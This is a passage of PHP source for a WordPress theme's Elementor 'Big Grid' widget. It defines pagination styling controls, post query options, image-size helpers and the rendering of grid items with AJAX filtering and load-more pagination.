			'name'      => 'bgpagi_typo',
			'label'     => __( 'Typography', 'soledad' ),
			'selector'  => '{{WRAPPER}} .penci-pagination a, {{WRAPPER}} .penci-pagination span.current',
			'condition' => array(
				'paging!'      => 'none',
				'bgquery_type' => 'post'
			),
		) );

		$this->add_responsive_control( 'bgpagi_borderwidth', array(
			'label'      => __( 'Borders Width', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} ul.page-numbers li a'         => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} ul.page-numbers span.current' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .penci-pagination a'          => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array(
				'paging!'      => 'none',
				'bgquery_type' => 'post'
			),
		) );

		$this->add_responsive_control( 'bgpagi_borderradius', array(
			'label'      => __( 'Borders Radius', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} ul.page-numbers li a'         => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} ul.page-numbers span.current' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .penci-pagination a'          => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array(
				'paging!'      => 'none',
				'bgquery_type' => 'post'
			),
		) );

		$this->add_responsive_control( 'bgpagi_padding', array(
			'label'      => __( 'Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} ul.page-numbers li a'         => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} ul.page-numbers span.current' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .penci-pagination a'          => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array(
				'paging!'      => 'none',
				'bgquery_type' => 'post'
			),
		) );

		$this->end_controls_section();


		$this->register_penci_bookmark_style_groups();
		$this->register_paywall_premium_heading_style_groups();
		$this->register_block_heading_link_section_style();
		$this->register_block_title_style_section_controls();
	}

	protected function register_query_section_controls( $showmeta = false, $condition = [] ) {

		$this->start_controls_section( 'section_query', array(
			'label'     => __( 'Query Based Posts', 'soledad' ),
			'condition' => array( 'bgquery_type' => 'post' ),
			'tab'       => Controls_Manager::TAB_CONTENT
		) );

		$this->add_group_control( Penci_Group_Control_Posts::get_type(), array(
			'name' => 'posts'
		) );

		$this->add_control( 'posts_per_page', array(
			'label'     => __( 'Posts Per Page', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'default'   => 10,
			'condition' => array( 'posts_post_type!' => array( 'by_id', 'current_query' ) ),
		) );

		$this->add_control( 'arposts_per_page', array(
			'label'       => __( 'Posts Per Page', 'soledad' ),
			'description' => __( 'This option only work for Archive Builder', 'soledad' ),
			'type'        => Controls_Manager::NUMBER,
			'default'     => 10,
			'condition'   => array( 'posts_post_type' => array( 'current_query' ) ),
		) );

		$this->add_control( 'arposts_new', array(
			'label'       => __( 'Always Show Newest Posts', 'soledad' ),
			'description' => __( 'This option will sticky newest posts when your page go to a new pagination', 'soledad' ),
			'type'        => Controls_Manager::SWITCHER,
			'condition'   => array( 'posts_post_type' => array( 'current_query' ) ),
		) );

		$this->add_control( 'orderby', array(
			'label'     => __( 'Order By', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'date',
			'options'   => array(
				'date'          => __( 'Published Date', 'soledad' ),
				'ID'            => __('Post ID', 'soledad' ),
				'modified'      => __('Modified Date', 'soledad' ),
				'title'         => __('Post Title', 'soledad' ),
				'rand'          => __('Random Posts', 'soledad' ),
				'comment_count' => __('Comment Count', 'soledad' ),
				'most_liked' 	=> __( 'Most Liked', 'soledad' ),
				'popular'       => __('Most Viewed Posts All Time', 'soledad' ),
				'popular_day'   => __('Most Viewed Posts Daily', 'soledad' ),
				'popular7'      => __('Most Viewed Posts Once Weekly', 'soledad' ),
				'popular_month' => __('Most Viewed Posts Once a Month', 'soledad' ),
				'metakey' 		=> __( 'Custom Meta Key', 'soledad' ),
			),
			'condition' => array( 'posts_post_type!' => array( 'current_query' ) ),
		) );

		$this->add_control( 'orderby_meta_key', array(
			'label'       => __( 'Custom Meta Key', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'default'     => '',
			'description' => __( 'Enter the custom meta key to order by.', 'soledad' ),
			'condition'   => array( 'orderby' => 'metakey', 'posts_post_type!' => array( 'current_query' ) ),
		) );

		$this->add_control( 'order', array(
			'label'     => __( 'Order', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'desc',
			'options'   => array(
				'asc'  => __( 'ASC', 'soledad' ),
				'desc' => __( 'DESC', 'soledad' )
			),
			'condition' => array( 'posts_post_type!' => array( 'current_query' ) ),
		) );

		$this->add_control( 'offset', array(
			'label'       => __( 'Offset', 'soledad' ),
			'type'        => Controls_Manager::NUMBER,
			'default'     => 0,
			'condition'   => array( 'posts_post_type!' => array( 'by_id' ) ),
			'description' => __( 'Use this setting to skip over posts (e.g. \'2\' to skip over 2 posts).', 'soledad' ),
		) );

		$this->add_control( 'avoid_duplicates', [
			'label'       => esc_html__( 'Avoid Duplicates', 'soledad' ),
			'type'        => Controls_Manager::SWITCHER,
			'default'     => '',
			'description' => esc_html__( 'Set to Yes to avoid duplicate posts from showing up. This only effects the frontend.', 'soledad' ),
			'condition'   => [
				'posts_post_type!' => [
					'by_id',
					'current_query',
				],
			],
		] );

		Query_Control::add_exclude_controls( $this );

		$this->register_custom_post_metas_groups();

		$this->add_control( 'query_id', array(
			'label'     => __( 'Query ID', 'soledad' ),
			'type'      => Controls_Manager::TEXT,
		) );

		$this->end_controls_section();
	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	protected function render() {
		$settings     = $this->get_settings();
		$biggid_type  = $settings['bgquery_type'] ? $settings['bgquery_type'] : 'post';
		$biggid_style = $settings['style'] ? $settings['style'] : 'style-1';
		if ( isset( $_GET['bgstyle'] ) ) {
			$biggid_style = esc_attr( $_GET['bgstyle'] );
		}
		$overlay_type      = $settings['overlay_type'] ? $settings['overlay_type'] : 'whole';
		$bgcontent_pos     = $settings['bgcontent_pos'] ? $settings['bgcontent_pos'] : 'on';
		$content_display   = $settings['content_display'] ? $settings['content_display'] : 'block';
		$disable_lazy      = $settings['disable_lazy'] ? $settings['disable_lazy'] : '';
		$image_hover       = $settings['image_hover'] ? $settings['image_hover'] : 'zoom-in';
		$text_overlay      = $settings['text_overlay'] ? $settings['text_overlay'] : 'none';
		$text_overlay_ani  = $settings['text_overlay_ani'] ? $settings['text_overlay_ani'] : 'movetop';
		$onecol_mobile     = $settings['onecol_mobile'] ? $settings['onecol_mobile'] : '';
		$sameh_mobile      = $settings['sameh_mobile'] ? $settings['sameh_mobile'] : '';
		$thumb_size        = $settings['thumb_size'] ? $settings['thumb_size'] : 'penci-masonry-thumb';
		$bthumb_size       = $settings['bthumb_size'] ? $settings['bthumb_size'] : 'penci-full-thumb';
		$mthumb_size       = $settings['mthumb_size'] ? $settings['mthumb_size'] : 'penci-masonry-thumb';
		$title_length      = $settings['title_length'] ? $settings['title_length'] : '';
		$readmore_icon     = $settings['readmore_icon'] ? $settings['readmore_icon'] : '';
		$readmore_icon_pos = $settings['readmore_icon_pos'] ? $settings['readmore_icon_pos'] : 'right';
		$formaticon_pos    = $settings['formaticon_pos'] ? $settings['formaticon_pos'] : 'top-right';
		$reviewpie_pos     = $settings['reviewpie_pos'] ? $settings['reviewpie_pos'] : 'top-left';

		$wrapper_class   = $data_class = '';
		$flag_style      = false;
		$clear_fix_class = 'penci-clearfix ';
		if ( $biggid_style == 'style-1' ) {
			$data_class .= ' penci-dflex';
		} else {
			$data_class .= ' penci-dblock';
		}

		if ( ! in_array( $biggid_style, array( 'style-1', 'style-2' ) ) ) {
			$flag_style    = true;
			$data_class    .= ' penci-fixh';
			$bgcontent_pos = 'on';
		}

		if ( 'style-1' == $biggid_style || 'style-2' == $biggid_style ) {
			$bg_columns        = $settings['bg_columns'] ? $settings['bg_columns'] : '3';
			$bg_columns_tablet = $settings['bg_columns_tablet'] ? $settings['bg_columns_tablet'] : '';
			$bg_columns_mobile = $settings['bg_columns_mobile'] ? $settings['bg_columns_mobile'] : '1';
			$wrapper_class     .= ' penci-grid-col-' . $bg_columns;
			if ( $bg_columns_tablet ) {
				$wrapper_class .= ' penci-grid-tcol-' . $bg_columns_tablet;
			}
			$wrapper_class .= ' penci-grid-mcol-' . $bg_columns_mobile;
		}

		$wrapper_class .= ' penci-bgrid-based-' . $biggid_type . ' penci-bgrid-' . $biggid_style . ' pcbg-ficonpo-' . $formaticon_pos . ' pcbg-reiconpo-' . $reviewpie_pos . ' penci-bgrid-content-' . $bgcontent_pos . ' pencibg-imageh-' . $image_hover . ' pencibg-texth-' . $text_overlay . ' pencibg-textani-' . $text_overlay_ani;
		if ( $flag_style && 'yes' == $onecol_mobile ) {
			$wrapper_class .= ' penci-bgrid-monecol';
		}
		if ( $flag_style && 'yes' == $sameh_mobile ) {
			$wrapper_class .= ' penci-bgrid-msameh';
		}

		if ( 'yes' == $settings['title_anivisi'] ) {
			$wrapper_class .= ' pcbg-titles-visible';
		}

		if ( 'yes' == $settings['apply_spe_bg_subtitle'] ) {
			$wrapper_class .= ' pcbg-mask-subtitle';
		}

		if ( 'yes' == $settings['apply_spe_bg_title'] ) {
			$wrapper_class .= ' pcbg-mask-title';
		}

		if ( 'yes' == $settings['apply_spe_bg_meta'] ) {
			$wrapper_class .= ' pcbg-mask-meta';
		}

		if ( in_array( $text_overlay_ani, array( 'movetop', 'movebottom', 'moveleft', 'moveright' ) ) ) {
			$wrapper_class .= ' textop';
		} else {
			$wrapper_class .= ' notextop';
		}

		if ( 'yes' == $settings['hide_subtitle_mobile'] ) {
			$wrapper_class .= ' hide-msubtitle';
		}
		if ( 'yes' == $settings['hide_desc_mobile'] ) {
			$wrapper_class .= ' hide-mdesc';
		}
		if ( 'yes' == $settings['hide_excerpt_mobile'] ) {
			$wrapper_class .= ' hide-mexcerpt';
		}
		if ( 'yes' == $settings['hide_readmore_mobile'] ) {
			$wrapper_class .= ' hide-mreadmorebt';
		}
		if ( 'yes' == $settings['ver_border'] && 'style-1' == $biggid_style ) {
			$wrapper_class .= ' pcbg-verbd';
		}

		if ( isset( $settings['paywall_heading_text_style'] ) ) {
			$wrapper_class .= ' pencipw-hd-' . $settings['paywall_heading_text_style'];
		}

		$big_items           = penci_big_grid_is_big_items( $biggid_style );
		$block_id            = 'pcblock-' . rand( 0, 9999 );
		$settings['blockid'] = $block_id;
		add_action( 'penci_block_title_extra_' . $block_id, function () use ( $settings ) {
			$link_group_cats   = $settings['biggrid_ajaxfilter_cat'];
			$link_group_tags   = $settings['biggrid_ajaxfilter_tag'];
			$link_group_author = $settings['biggrid_ajaxfilter_author'];
			$link_group_out    = $link_group_out_before = $link_group_out_after = '';

			$data_settings_tabs          = array();
			$data_settings_tabs['query'] = Query_Control::get_query_args( 'posts', $settings );;
			$data_settings_tabs['style']              = $settings['style'];
			$data_settings_tabs['overlay_type']       = $settings['overlay_type'];
			$data_settings_tabs['bgcontent_pos']      = $settings['bgcontent_pos'];
			$data_settings_tabs['content_display']    = $settings['content_display'];
			$data_settings_tabs['disable_lazy']       = $settings['disable_lazy'];
			$data_settings_tabs['image_hover']        = $settings['image_hover'];
			$data_settings_tabs['text_overlay']       = $settings['text_overlay'];
			$data_settings_tabs['text_overlay_ani']   = $settings['text_overlay_ani'];
			$data_settings_tabs['thumb_size']         = $settings['thumb_size'];
			$data_settings_tabs['bthumb_size']        = $settings['bthumb_size'];
			$data_settings_tabs['mthumb_size']        = $settings['mthumb_size'];
			$data_settings_tabs['bg_postmeta']        = $settings['bg_postmeta'];
			$data_settings_tabs['primary_cat']        = $settings['primary_cat'];
			$data_settings_tabs['show_readmore']      = $settings['show_readmore'];
			$data_settings_tabs['excerpt_length']     = $settings['excerpt_length'];
			$data_settings_tabs['hide_cat_small']     = $settings['hide_cat_small'];
			$data_settings_tabs['hide_meta_small']    = $settings['hide_meta_small'];
			$data_settings_tabs['hide_excerpt_small'] = $settings['hide_excerpt_small'];
			$data_settings_tabs['hide_rm_small']      = $settings['hide_rm_small'];
			$data_settings_tabs['title_length']       = $settings['title_length'];
			$data_settings_tabs['readmore_icon']      = $settings['readmore_icon'];
			$data_settings_tabs['show_formaticon']    = $settings['show_formaticon'];
			$data_settings_tabs['show_reviewpie']     = $settings['show_reviewpie'];
			$data_settings_tabs['readmore_icon_pos']  = $settings['readmore_icon_pos'];

			$ppp = $settings['posts_per_page'];

			if ( 'current_query' == $settings['posts_post_type'] ) {
				$paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
				$ppp   = isset( $settings['arposts_per_page'] ) && $settings['arposts_per_page'] ? $settings['arposts_per_page'] : $ppp;
			}

			$link_group_out_before .= '<nav data-number="' . $ppp . '" data-query_type="ajaxtab" data-layout="' . esc_attr( $settings['style'] ) . '" data-settings="' . htmlentities( json_encode( $data_settings_tabs ), ENT_QUOTES, "UTF-8" ) . '" data-more="' . esc_attr( $settings['group_more_link_text'] ) . '" class="pcnav-lgroup"><ul class="pcflx">';
			$link_group_out_after  = '</ul></nav>';

			$has_link = false;

			if ( is_array( $link_group_cats ) ) {
				$has_link = true;
				foreach ( $link_group_cats as $link_cat ) {
					$element_id = 'link-wrapper-cat-' . $link_cat;
					$this->add_render_attribute( $element_id, 'href', '#' );
					if ( $link_cat ) {
						$this->add_render_attribute( $element_id, 'data-cat', $link_cat );
					}
					$this->add_render_attribute( $element_id, 'data-id', md5( 'cat-link-' . $link_cat ) );
					$this->add_render_attribute( $element_id, 'data-paged', 1 );
					$this->add_render_attribute( $element_id, 'class', 'pc-ajaxfil-link' );
					$link_group_out .= '<li><a ' . $this->get_render_attribute_string( $element_id ) . '>' . get_term_field( 'name', $link_cat ) . '</a></li>';
				}
			}

			if ( is_array( $link_group_tags ) ) {
				$has_link = true;
				foreach ( $link_group_tags as $link_tag ) {
					$element_id = 'link-wrapper-tag-' . $link_tag;
					$this->add_render_attribute( $element_id, 'href', '#' );
					if ( $link_tag ) {
						$this->add_render_attribute( $element_id, 'data-tag', $link_tag );
					}
					$this->add_render_attribute( $element_id, 'data-id', md5( 'tag-link-' . $link_tag ) );
					$this->add_render_attribute( $element_id, 'data-paged', 1 );
					$this->add_render_attribute( $element_id, 'class', 'pc-ajaxfil-link' );
					$link_group_out .= '<li><a ' . $this->get_render_attribute_string( $element_id ) . '>' . get_term_field( 'name', $link_tag ) . '</a></li>';
				}
			}

			if ( is_array( $link_group_author ) ) {
				$has_link = true;
				foreach ( $link_group_author as $author ) {
					$element_id = 'link-wrapper-author-' . $author;
					$this->add_render_attribute( $element_id, 'href', get_the_author_meta( 'url', $author ) );
					if ( $author ) {
						$this->add_render_attribute( $element_id, 'data-author', $author );
					}
					$this->add_render_attribute( $element_id, 'data-id', md5( 'author-link-' . $author ) );
					$this->add_render_attribute( $element_id, 'data-paged', 1 );
					$this->add_render_attribute( $element_id, 'class', 'pc-ajaxfil-link' );
					$link_group_out .= '<li><a ' . $this->get_render_attribute_string( $element_id ) . '>' . get_the_author_meta( 'nicename', $author ) . '</a></li>';
				}
			}

			if ( 'nextprev' == $settings['paging'] ) {
				$link_group_out .= '</ul><ul class="pcflx-nav">';
				$link_group_out .= '<li class="pcaj-nav-item pcaj-prev"><a class="disable pc-ajaxfil-link pcaj-nav-link prev" data-id="" href="#" aria-label="Previous"><i class="penciicon-left-chevron"></i></a></li>';
				$link_group_out .= '<li class="pcaj-nav-item pcaj-next"><a class="pc-ajaxfil-link pcaj-nav-link next" data-id="" href="#" aria-label="Next"><i class="penciicon-right-chevron"></i></a></li>';
			}

			if ( $link_group_out ) {
				$first_class           = $has_link ? 'visible' : 'hidden-item';
				$link_group_out_before .= '<li class="all ' . $first_class . '"><a data-paged="1" class="pc-ajaxfil-link current-item" data-id="default" href="#" aria-label="Paged">' . $settings['group_more_defaultab_text'] . '</a></li>';
				wp_enqueue_script( 'penci_ajax_filter_bg' );
				echo $link_group_out_before . $link_group_out . $link_group_out_after;
			}
		} );
		?>
        <div class="penci-clearfix penci-biggrid-wrapper<?php echo $wrapper_class; ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
            <div class="penci-clearfix penci-biggrid penci-bg<?php echo $biggid_style; ?> penci-bgel">
                <div class="penci-biggrid-inner default">
					<?php
					$bg = 1;
					if ( 'post' == $biggid_type ) {
						$post_meta          = $settings['bg_postmeta'] ? $settings['bg_postmeta'] : array();
						$primary_cat        = $settings['primary_cat'] ? $settings['primary_cat'] : '';
						$show_readmore      = $settings['show_readmore'] ? $settings['show_readmore'] : '';
						$hide_cat_small     = $settings['hide_cat_small'] ? $settings['hide_cat_small'] : '';
						$hide_meta_small    = $settings['hide_meta_small'] ? $settings['hide_meta_small'] : '';
						$hide_excerpt_small = $settings['hide_excerpt_small'] ? $settings['hide_excerpt_small'] : '';
						$hide_rm_small      = $settings['hide_rm_small'] ? $settings['hide_rm_small'] : '';
						$show_formaticon    = $settings['show_formaticon'] ? $settings['show_formaticon'] : '';
						$show_reviewpie     = $settings['show_reviewpie'] ? $settings['show_reviewpie'] : '';
						$excerpt_length     = $settings['excerpt_length'] ? $settings['excerpt_length'] : 10;
						$paging             = $settings['paging'] ? $settings['paging'] : 'none';
						$paging_align       = $settings['paging_align'] ? $settings['paging_align'] : 'align-center';
						$original_postype   = $settings['posts_post_type'];

						if ( in_array( $original_postype, [
								'current_query',
								'related_posts'
							] ) && penci_elementor_is_edit_mode() && penci_is_builder_template() ) {
							$settings['posts_post_type'] = 'post';
						}
						$archive_buider_check = $settings['posts_post_type'];

						$args          = Query_Control::get_query_args( 'posts', $settings );

						if ( 'numbers' == $paging ) {
							$args['paged'] = max( get_query_var( 'paged' ), get_query_var( 'page' ), 1 );
						}
						
						$ppp           = $settings['posts_per_page'] ? $settings['posts_per_page'] : get_option( 'posts_per_page' );
						if ( in_array( $original_postype, [ 'current_query', 'related_posts' ] ) ) {
							$paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
							if ( 'current_query' == $original_postype ) {
								$ppp = isset( $settings['arposts_per_page'] ) && $settings['arposts_per_page'] ? $settings['arposts_per_page'] : $ppp;
							}
							$offset = 0;

							if ( $ppp ) {
								$args['posts_per_page'] = $ppp;
							}
							if ( isset( $settings['arposts_new'] ) && $settings['arposts_new'] == 'yes' ) {
								$args['paged'] = 1;
							}
							if ( 0 < $settings['offset'] ) {
								$offset = $settings['offset'];
							}

							if ( ! empty( $settings['offset'] ) && $paged > 1 ) {
								$offset = $settings['offset'] + ( ( $paged - 1 ) * $ppp );
							}

							if ( $offset ) {
								$args['offset'] = $offset;
							}
						}

						$query_custom = new \WP_Query( $args );

						if ( ! $query_custom->have_posts() ) {
							echo $this->show_missing_settings( 'Big Grid', penci_get_setting( 'penci_ajaxsearch_no_post' ) );
						}

						if ( $query_custom->have_posts() ) {
							$num_posts = $query_custom->post_count;
							//$number_each = penci_big_grid_count_item( $biggid_style );
							if ( $flag_style ) {
								echo '<div class="penci-big-grid-ajax-data">';
							}

							$maxp_out = '';

							if ( 'nextprev' == $settings['paging'] ) {
								$maxp_out = 'data-maxp="' . $query_custom->max_num_pages . '" ';
							}

							echo '<div ' . $maxp_out . 'class="penci-clearfix penci-biggrid-data' . $data_class . '">';
							while ( $query_custom->have_posts() ) : $query_custom->the_post();
								$hide_cat_small_flag = $hide_meta_small_flag = $hide_rm_small_flag = $hide_excerpt_small_flag = false;
								$is_big_item         = '';
								$surplus             = penci_big_grid_count_classes( $bg, $biggid_style, true );
								$thumbnail           = $thumb_size;
								if ( ! empty( $big_items ) && in_array( $surplus, $big_items ) ) {
									$thumbnail   = $bthumb_size;
									$is_big_item = ' pcbg-big-item';
								}
								if ( penci_is_mobile() ) {
									$thumbnail = $mthumb_size;
								}

								if ( ! $is_big_item ) {
									if ( 'yes' == $hide_cat_small ) {
										$hide_cat_small_flag = true;
									}
									if ( 'yes' == $hide_meta_small ) {
										$hide_meta_small_flag = true;
									}
									if ( 'yes' == $hide_excerpt_small ) {
										$hide_excerpt_small_flag = true;
									}
									if ( 'yes' == $hide_rm_small ) {
										$hide_rm_small_flag = true;
									}
								}

								if ( 'style-1' == $biggid_style || 'style-2' == $biggid_style ) {
									$hide_cat_small_flag = $hide_meta_small_flag = $hide_rm_small_flag = $hide_excerpt_small_flag = false;
								}
								include dirname( __FILE__ ) . "/based-post.php";

								if ( $flag_style && $surplus == 0 && $bg < $num_posts ) {
									echo '</div><div class="penci-clearfix penci-biggrid-data' . $data_class . '">';
								}

								$bg ++;
							endwhile;
							echo '</div>';

							if ( $flag_style ) {
								echo '</div>';
							}

							if ( 'loadmore' == $paging || 'scroll' == $paging ) {
								$data_settings                       = array();
								$data_settings['query']              = $args;
								$data_settings['query_id']           = isset($settings['query_id']) ? $settings['query_id'] : 'all';
								$data_settings['style']              = $biggid_style;
								$data_settings['overlay_type']       = $overlay_type;
								$data_settings['bgcontent_pos']      = $bgcontent_pos;
								$data_settings['content_display']    = $content_display;
								$data_settings['disable_lazy']       = $disable_lazy;
								$data_settings['image_hover']        = $image_hover;
								$data_settings['text_overlay']       = $text_overlay;
								$data_settings['text_overlay_ani']   = $text_overlay_ani;
								$data_settings['thumb_size']         = $thumb_size;
								$data_settings['bthumb_size']        = $bthumb_size;
								$data_settings['mthumb_size']        = $mthumb_size;
								$data_settings['bg_postmeta']        = $post_meta;
								$data_settings['primary_cat']        = $primary_cat;
								$data_settings['show_readmore']      = $show_readmore;
								$data_settings['excerpt_length']     = $excerpt_length;
								$data_settings['hide_cat_small']     = $hide_cat_small;
								$data_settings['hide_meta_small']    = $hide_meta_small;
								$data_settings['hide_excerpt_small'] = $hide_excerpt_small;
								$data_settings['hide_rm_small']      = $hide_rm_small;
								$data_settings['title_length']       = $title_length;
								$data_settings['readmore_icon']      = $readmore_icon;
								$data_settings['show_formaticon']    = $show_formaticon;
								$data_settings['show_reviewpie']     = $show_reviewpie;
								$data_settings['readmore_icon_pos']  = $readmore_icon_pos;
								$data_paged                          = max( get_query_var( 'paged' ), get_query_var( 'page' ), 1 );

								$data_settings_ajax = htmlentities( json_encode( $data_settings ), ENT_QUOTES, "UTF-8" );

								$button_class = ' penci-ajax-more penci-bgajax-more-click';
								if ( 'loadmore' == $paging ):
									wp_enqueue_script( 'penci_bgajax_more_posts' );
								endif;
								if ( 'scroll' == $paging ):
									$button_class = ' penci-ajax-more penci-bgajax-more-scroll';
									wp_enqueue_script( 'penci_bgajax_more_scroll' );
								endif;
								$data_archive_type  = '';
								$data_archive_value = '';
								if ( is_category() ) :
									$category           = get_category( get_query_var( 'cat' ) );
									$cat_id             = isset( $category->cat_ID ) ? $category->cat_ID : '';
									$data_archive_type  = 'cat';
									$data_archive_value = $cat_id;
									$opt_cat            = 'category_' . $cat_id;
									$cat_meta           = get_option( $opt_cat );
									$sidebar_opts       = isset( $cat_meta['cat_sidebar_display'] ) ? $cat_meta['cat_sidebar_display'] : '';
									if ( $sidebar_opts == 'no' ):
										$data_template = 'no-sidebar';
                                    elseif ( $sidebar_opts == 'left' || $sidebar_opts == 'right' ):
										$data_template = 'sidebar';
									endif;

                                elseif ( is_tag() ) :
									$tag                = get_queried_object();
									$tag_id             = isset( $tag->term_id ) ? $tag->term_id : '';
									$data_archive_type  = 'tag';
									$data_archive_value = $tag_id;
                                elseif ( is_day() ) :
									$data_archive_type  = 'day';
									$data_archive_value = get_the_date( 'm|d|Y' );
                                elseif ( is_month() ) :
									$data_archive_type  = 'month';
									$data_archive_value = get_the_date( 'm|d|Y' );
                                elseif ( is_year() ) :
									$data_archive_type  = 'year';
									$data_archive_value = get_the_date( 'm|d|Y' );
                                elseif ( is_search() ) :
									$data_archive_type  = 'search';
									$data_archive_value = get_search_query();
                                elseif ( is_author() ) :

									global $authordata;
									$user_id = isset( $authordata->ID ) ? $authordata->ID : 0;

									$data_archive_type  = 'author';
									$data_archive_value = $user_id;
                                elseif ( is_archive() ) :
									$queried_object = get_queried_object();
									$term_id        = isset( $queried_object->term_id ) ? $queried_object->term_id : '';
									$tax            = get_taxonomy( get_queried_object()->taxonomy );
									$tax_name       = isset( $tax->name ) ? $tax->name : '';

									if ( $term_id && $tax_name ) {
										$data_archive_type  = $tax_name;
										$data_archive_value = $term_id;
									}
								endif;
								?>
                                <div class="pcbg-paging penci-pagination <?php echo 'pcbg-paging-' . $paging_align . $button_class; ?>">
                                    <a class="penci-ajax-more-button" aria-label="More Posts" href="#"
										<?php if ( $data_archive_type && $data_archive_value ): ?>
                                            data-archivetype="<?php echo $data_archive_type; ?>"
                                            data-archivevalue="<?php echo $data_archive_value; ?>"
                                            data-arppp="<?php echo $ppp; ?>"
										<?php endif; ?>
                                       data-query_type="<?php echo $archive_buider_check; ?>"
                                       data-layout="<?php echo $biggid_style; ?>"
                                       data-settings="<?php echo $data_settings_ajax; ?>"
                                       data-pagednum="<?php echo( (int) $data_paged + 1 ); ?>"
                                       data-mes="<?php echo penci_get_setting( 'penci_trans_no_more_posts' ); ?>">
                                        <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?></span><span
                                                class="ajaxdot"></span><?php penci_fawesome_icon( 'fas fa-sync' ); ?>
                                    </a>
                                </div>
								<?php
							} elseif ( 'numbers' == $paging ) {
								echo penci_pagination_numbers( $query_custom, $paging_align );
							}
						}
						wp_reset_postdata();

					} else {
						$biggrid_items = $settings['biggrid_items'] ? (array) $settings['biggrid_items'] : array();
						// echo '<pre>';
						// print_r( $biggrid_items );
						// echo '</pre>';
						$num_posts = count( $biggrid_items );
						if ( ! empty( $biggrid_items ) ) {
							echo '<div class="penci-clearfix penci-biggrid-data' . $data_class . '">';
							foreach ( $biggrid_items as $setting ) {
								$is_big_item = '';
								$surplus     = penci_big_grid_count_classes( $bg, $biggid_style, true );
								$thumbnail   = $thumb_size;
								if ( ! empty( $big_items ) && in_array( $surplus, $big_items ) ) {
									$thumbnail   = $bthumb_size;
									$is_big_item = ' pcbg-big-item';
								}
								if ( penci_is_mobile() ) {
									$thumbnail = $mthumb_size;
								}

								/* Get Custom Items Data */
								$item_id     = $setting['_id'] ? ' elementor-repeater-item-' . $setting['_id'] : '';
								$image_data  = $setting['image']['url'] ? $setting['image']['url'] : '';
								$image_url   = penci_get_image_size_url( $image_data, $thumbnail );
								$image_ratio = penci_get_ratio_size_based_url( $image_data );
								$sub_title   = $setting['sub_title'] ? $setting['sub_title'] : '';

								$title           = $setting['title'] ? $setting['title'] : '';
								$title_link      = $setting['title_link']['url'] ? $setting['title_link']['url'] : '';
								$title_external  = $setting['title_link']['is_external'] ? ' target="_blank"' : '';
								$title_nofollow  = $setting['title_link']['nofollow'] ? ' rel="nofollow"' : '';
								$title_attr      = '';
								$title_attr_data = $setting['title_link']['custom_attributes'] ? $setting['title_link']['custom_attributes'] : '';
								if ( $title_attr_data ) {
									$title_attr = $this->get_data_link( $title_attr_data );
								}

								$desc = $setting['desc'] ? $setting['desc'] : '';

								$button_text      = $setting['button_text'] ? $setting['button_text'] : '';
								$button_link      = $setting['button_link']['url'] ? $setting['button_link']['url'] : '';
								$button_external  = $setting['button_link']['is_external'] ? ' target="_blank"' : '';
								$button_nofollow  = $setting['button_link']['nofollow'] ? ' rel="nofollow"' : '';
								$button_attr      = '';
